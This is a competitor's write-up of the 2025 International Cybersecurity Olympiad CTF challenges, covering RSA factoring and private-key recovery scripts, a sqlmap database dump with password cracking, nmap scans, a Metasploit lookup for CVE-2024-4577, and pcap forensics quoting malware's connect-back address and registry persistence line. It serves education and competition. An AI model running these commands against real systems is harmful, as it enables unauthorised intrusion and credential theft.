International Cybersecurity Olympiad (ICO) 2025 : Writeups
About ICO
The International Cybersecurity Olympiad (ICO) is a premier global student cybersecurity competition, inspired by flagship academic Olympiads like the IOI and IMO. Hosted by the NUS School of Computing in Singapore, it took place from June 22 - 28, 2025 across venues at University Town (U-Town) and COM3. Designed to address the critical shortage of cybersecurity talent worldwide, ICO brings together the brightest students from 28 countries, each fielding a team of four students and two team leaders, chosen through rigorous national qualifiers . Supported by organizations like the Cyber Security Agency of Singapore, it is led by academics and industry experts, including Assoc. Prof. Tan Sun Teck, President of the IOI.
Attack Style CTF Challenges
Wearing red T-shirts, teams compete for 5 hours to exploit intentionally vulnerable systems and capture flags provided by organizers. This format mirrors real-world offensive security work, emphasizing reverse engineering, web hacking, cryptography, and binary exploitation.
Funny Little Trial 🩶
N00bcak is here and he’s got a simple simple challenge for you! He pinky promises it is super super easy… if you know your RSA. Claim your free flag now!
Flag Format: ICO{xxxx}
Files:
Solution: Since s = p + q
leaks the sum of the primes, it allowing for factorization.
from math import isqrt
from Crypto.Util.number import long_to_bytes
n = 730154905440589431898246229243980845471962789952919433912853685206466426533211391338854234214670164848724904589667216748940956830249727285676831414756490690998640546194701086342689745376601356538807686682591780203839430164032096793937680049242883943789740971024955494271811632392373061231517220729719301852972009996322353553223041996363062510793058159512065644653511056406980921126479692128719187843421670656032911202324169115991642446433570774018771779976698615952300873291633910429516420840343236890796694650758307955494625973637455056424008936821341285474068486291080379829605691116049409305720602644588781236517693103071428143555023423340553061848393811834822583084787767556242891835778899026395131919774769929908973580236813201423484418250639612979142717225646471923557902924947393932704451399986520439383222229449588604526233647729930287887832827094294007538293732323035360973881161056800433332655081539807347447394509629279325188711053553878224862658476846195578993440015897035671045877868818838832335917754474581155154779222178423842886030848765103547362401888774000743691540965176858139642895089461110570540423838101816198450394788967837473253642863644044829175861969444416877806962228341043955087466578594819527093346794769
e = 65537
c = 562832356069984106081137774460024417318691786711343850990263251777725495615368309839287879574579887963670997307615076216081038938724418605618077657900533446350490217763099095692070768537153710737669792919337950438628103773814809202814857366823389382849798875874703319910968644165758710199659598482182580560531427744306775515464578806892442707961517142301311443959318437335481597707440442963249235349148401864999450636386694616606321876555886550899834184829891114791797475508848985078894709888296306526168119661944874061976201961879264431442398717096510330771390870446558386486639114110984463105257982992473030697208456435010325240212191298771679578814130902264536954829855870623434714523595038310872353887411157395848362902586410240735790380905087353742755656722339524908032105103775986990007664980058936696379208444690440715730862640087467082716462163431720053541879681770780723256504718955541193959141214988786132292866650857593277833420037923271501563957546704765441958023218245172090983409186260002493788676733674223654884369806617046318513874719478805183309113606738154079837473695430422749868191938873619776918532094847644213959278138295750838263869314678033647024545294768359830666207254896847711652235889603241680551507038983
s = 54053789438762003717026435046758858644184844805086474460780374787993886158141419711606926173606297265967170008267426962552256754749922608947217920152403773919359805310018238474672131330265028491424716930927529647384277891611350497044205674037278986181586614217948510894910310441917319632029804630278892017010589446563461410905655255080369408402703350473796301203329249569749870211461687922755993267051166327474613204007121030586128877101173804871457561708749470102820696524246908465978873764509400913447555788290042530588416722658255095004712441074998378958860145015922918577707379079778746632670811334684876619995230
D = s*s - 4*n
sqrt_D = isqrt(D)
p = (s + sqrt_D) // 2
q = (s - sqrt_D) // 2
assert p * q == n
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
flag = pow(c, d, n)
print(long_to_bytes(flag))
Flag: ICO{f3rMaT5_l1L_ThM_i5_Tr1Vi4L_r1t3???}
Defence Style CTF Challenges
In the Defence-style CTF, teams take on the role of defenders, tasked with detecting intrusions, and reversing malware to find secrets hidden in the depths. This format emphasizes teamwork, incident response, and strategic thinking.
Mona’s Secret
Mona Lisa’s smile is said to hold secrets. But in this case, her image literally does.
Files:
Solution: Using stegseek
we can uncover a hidden text in the image.
Flag: ICO2025{happy_SG60}
Monkey Gallery Challenge
The Monkey Gallery is a passion project created by an eccentric zoologist… but rumors say it’s more than just a harmless tribute to primates.
Sources suggest that the gallery’s backend was slapped together in a hurry, and not all monkeys were meant to be seen. Some are part of a hidden experiment, and their records are locked deep within a private database table.
Try accessing different monkeys using the URL path: http://200.200.200.40:3000/monkey/{id}
Solution: Using sqlmap
we can dump the entire database, since there is a sql-injection vuln at the /monkey/<id>
.
sqlmap -u "http://localhost:3000/monkey/*" --risk 3 --level 5 --dbms=MySQL --dump-all
[10:41:10] [INFO] table 'monkey_db.monkey' dumped to CSV file '/home/halfdan/.local/share/sqlmap/output/localhost/dump/monkey_db/monkey.csv'
[10:41:10] [INFO] fetching columns for table 'monkey_users_999' in database 'monkey_db'
[10:41:10] [INFO] fetching entries for table 'monkey_users_999' in database 'monkey_db'
[10:41:10] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:41:28] [INFO] writing hashes to a temporary file '/tmp/sqlmapji4qm3g056287/sqlmaphashes-v6hk0sxk.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[10:41:31] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/opt/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[10:41:33] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[10:41:37] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[10:41:37] [INFO] starting 12 processes
[10:41:38] [INFO] cracked password 'ananab' for user 'FlagHunter'
Flag: ICO2025{ananab}
Corrupted Access
A corrupted RSA private key was found on an old admin backup disk. It belongs to the “target” user on a remote server. Unfortunately, the key appears incomplete — the -----END RSA PRIVATE KEY-----
line is missing, and some of the content is clearly truncated.
But not all hope is lost. You might be able to reconstruct the original key using mathematical components hidden within the corruption. Once fixed, you can use it to SSH into the manager’s account.
Files:
Solution: ChatGPT ❌ —> CryptoGPT ✅
import base64
from Crypto.PublicKey import RSA
from math import isqrt
def read_int(d, i):
if d[i] != 0x02:
raise ValueError("Expected INTEGER")
i += 1
l = d[i]
i += 1
if l & 0x80:
n_bytes = l & 0x7F
l = int.from_bytes(d[i:i+n_bytes], 'big')
i += n_bytes
val = int.from_bytes(d[i:i+l], 'big')
return val, i + l
# Load and decode the corrupted key
with open('corrupted_key') as f:
b64 = ''.join(line for line in f if not line.startswith('-')).strip()
der = base64.b64decode(b64)
# Parse ASN.1 to extract n, e, d
i = 0
if der[i] == 0x30:
i += 1
if der[i] & 0x80:
i += (der[i] & 0x7F) + 1
else:
i += 1
_, i = read_int(der, i) # version
n, i = read_int(der, i)
e, i = read_int(der, i)
d_val, _ = read_int(der, i)
# Recover p and q using known RSA relationship
k = d_val * e - 1
p = q = None
for i in range(1, 1 << 20):
if k % i: continue
phi = k // i
a = n - phi + 1
b2 = a * a - 4 * n
if b2 >= 0:
b = isqrt(b2)
if b * b == b2:
p = (a + b) // 2
q = (a - b) // 2
if p * q == n:
break
if not p or not q:
raise ValueError("Failed to recover p and q")
if p > q:
p, q = q, p
# Reconstruct and export the RSA key
key = RSA.construct((n, e, d_val, p, q))
with open("recovered_key.pem", "wb") as f:
f.write(key.export_key())
Flag: ICO2025{y0u_h4v3_f0und_Th3_pr1v4t3_k3y}
Credential Breakout
Try to find the credential to unlock the flag.
Files:
Solution: strings CredentialBreakoutChallenge.exe | grep -oP 'IC[^}]*\}'
= flag :D
Flag: IC02025{94vYeC2sQc}
[Phase 1 - VA] Scanning - 1
A common step in a vulnerability assessment is to scan for open ports and find running services on those ports. Can you conduct a port scan and find what ports are open on the compromised machine (200.200.200.20)?
Solution: We can use nmap
to find what ports are open. nmap -sV -F 200.200.200.20
Flag: ICO2025{80_http}
[Phase 1 - VA] Scanning - 2
Vulnerabilities can sometimes be operating system specific. As such, it is good practice to narrow down as much information as we can when conducting a vulnerability assessment. Are you able to find out what operating system is compromised machine using?
Solution: We can use nmap
to determine what OS the target is using. With: nmap -A 200.200.200.20
Flag: ICO2025{Microsoft Windows XP 2019}
[Phase 1 - VA] Searching Open Services
Services running on internal networks typically hold a significant importance and may contain sensitive information. Explore the services you found and see if you can find out the purpose of the service running on port 80.
Solution: We can curl the ip on port 80 to find the purpose of the service in the title tag. curl -v http://200.200.200.20/dashboard/
with gives IT Team's To-Do List
Flag: ICO2025{IT Team's To-Do List}
[Phase 1 - VA] Vulnerable Service
Are you able to find the CVE number of the vulnerability present in the compromised machine?
Solution: If we curl the previous url we find a CVE that needs patching on the To-Do List, curl http://200.200.200.20/dashboard/
, where we find <td>Update webserver to be protected from CVE-2024-4577</td>
Flag: ICO2025{CVE_2024_4577}
[Phase 1 - VA] Metasploit
Exploit the vulnerability!
Solution: Using the metasploit console we can search for the cve with: search cve:CVE-2024-4577
.
Flag: ICO2025{php_cgi_arg_injection_rce_cve_2024_4577}
[Phase 2 - Forensics] Analysing Pcap
Analyse the packet capture file given in C:\Users\Marcus-WebAdmin\Documents\Network Captures
.
We are trying to look out for suspicious activities from the attacker but first, we need to identify the attacker’s IP address. Are there any suspicious IP addresses in the unit’s network found in the capture?
Solution: I use my eyes to look in the pcap file :D
File found:
Flag: ICO2025{192.168.12.135}
[Phase 2 - Forensics] Attacker Malware
It seems like the attacker might have uploaded some of his own files on the compromised machine. Are you able to identify the frame number where the request is initiated?
Solution: We can see a FTP request with the INFO: Request: RETR persist.py
has the frame number: 4395
Flag: ICO2025{4395}
[Phase 2 - Forensics] Export Objects
Try to export out important objects/files found in the pcap file!
Solution: Sus file is ofc persist.py
.
Flag: ICO2025{persist.py}
[Phase 2 - Forensics] Attacker’s Malware Part 2
It seems like the attacker might have uploaded some of his own files on the compromised machine. Are you able to find it and generate out its md5 digest?
Solution: We can use wireshark to extract the python file and run:
md5sum persist.py
3b3ea2f2378fbcc04f3a6b95049e8b81 persist.py
Flag: ICO2025{3b3ea2f2378fbcc04f3a6b95049e8b81}
[Phase 3 - AP] Malware Analysis
The malware have attempted to make network connection(s), what IP address and port is it trying to connect to?
Solution: If we look in persist.py we can see:
HOST = '192.168.12.135'
PORT = 4242
Flag: ICO2025{192.168.12.135:4242}
[Phase 3 - AP] Malware Analysis Part 2
What is the name of the key that was created by the malware?
Solution: If we once again look in persist.py we can see:
reg.SetValueEx(key, "malware", 0, reg.REG_SZ, script_path)
Flag: ICO2025{malware}
Conclusion
Day 1 was really tough, the attack-style CTF pushed me to my limits with some hard challenges. Day 2’s defence-style CTF, although easier overall, had its own hurdles—many things went wrong, and long wait times due to sluggish IT infrastructure made it a bit chaotic. Despite the tech hiccups, I managed to secure a silver medal at the end. Thanks to the organizers for a strong first ICO, looking forward to smoother competitions next time!